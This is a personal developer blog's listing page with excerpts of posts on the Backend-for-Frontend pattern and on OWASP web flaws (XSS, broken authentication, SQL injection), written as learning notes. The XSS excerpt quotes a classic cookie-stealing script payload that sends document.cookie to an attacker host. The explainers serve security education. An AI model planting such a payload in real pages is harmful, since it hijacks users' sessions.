otaviormachado.github.io

BFFs and when they will be your best friends.

Mon, 19 Mar 2018 22:57:40 +0000

tl;dr:

BFF stands for Back-end For Front-end, now you can go on with your life.

long version:

I can tell you straight away what exactly a BFF is and what it is used for, but I think doing some reasoning before will help you understand why it exists and when you should apply it. This is why I may be going way back, but bear with me.

What is the responsibility of the front-end?

Basically, what runs on the user’s end. A webpage, for example.

When you think of the front-end responsibilities, which words come to mind?

I am...

What are Cross-side Scripting Flaws?

Mon, 21 Mar 2016 20:43:31 +0000

This post is part of a compilation talking about the ten most common security flaws for web applications. To see them all, click here.

What are Cross-Side Scripting (XSS) flaws?

OWASP defines Cross-Side Scripting (XSS) Flaws as

Systems that use non-trusted data written by a user without proper validation or escaping, allowing attackers to execute scripts in the victim’s browsers, hijacking user sessions, defacing web sites or redirecting the user to malicious web sites.

So, if your application accepts user inputs in a form such as

'<script>document.location='http://www.attacker.com/cgi-bin/cookie.cgi?foo=' + document.cookie </script>'...



What is a Broken Authentication flaw?
Wed, 27 Jan 2016 17:46:37 +0000
This post is part of a compilation talking about the ten most common security flaws for web applications. To see them all, click here.
 
 What is a Broken Authentication flaw?
 OWASP defines Broken Authentication and Session Management flaws as
  Application functions related to authentication and session management are often not implemented correctly, allowing attackers to compromise passwords, keys, or session tokens, or to exploit other implementation flaws to assume other users’ identities.
 
 So, for example, if your application supports URL rewriting, putting session IDs in the URL, like:
 http://example.com/sale/saleitems;jsessionid=2P0OC2JSNDLPSKHCJUN2JV?dest=Hawaii ...


SQL Injection attack - Why should I care?
Wed, 27 Jan 2016 15:55:41 +0000
This post is part of a compilation talking about the ten most common security flaws for web applications. To see them all, click here.
 
 What is an injection attack?
 OWASP defines the SQL Injection flaws as
  Injection flaws, such as SQL, OS, and LDAP injection occur when untrusted data is sent to an interpreter as part of a command or query. The attacker’s hostile data can trick the interpreter into executing unintended commands or accessing data without proper authorization.
 
 So, if your application uses untrusted data in the construction of SQL calls, like...


The first one is always the useless one.
Sat, 19 Sep 2015 02:16:56 +0000
Hello, World!
 I’m Otavio, a Software Developer from Porto Alegre, Brazil. I’ve just started my learning journey in the world of code, and I have a pile of books, articles and documentation to read.
 When I start learning something, one of my main concerns is whether I really learned it or if in one week from now I will forget about it. Being able to write a post on a subject I’m starting to understand will help me not only learn in more detail, but also have a place where I can resume what I have understood and discuss with...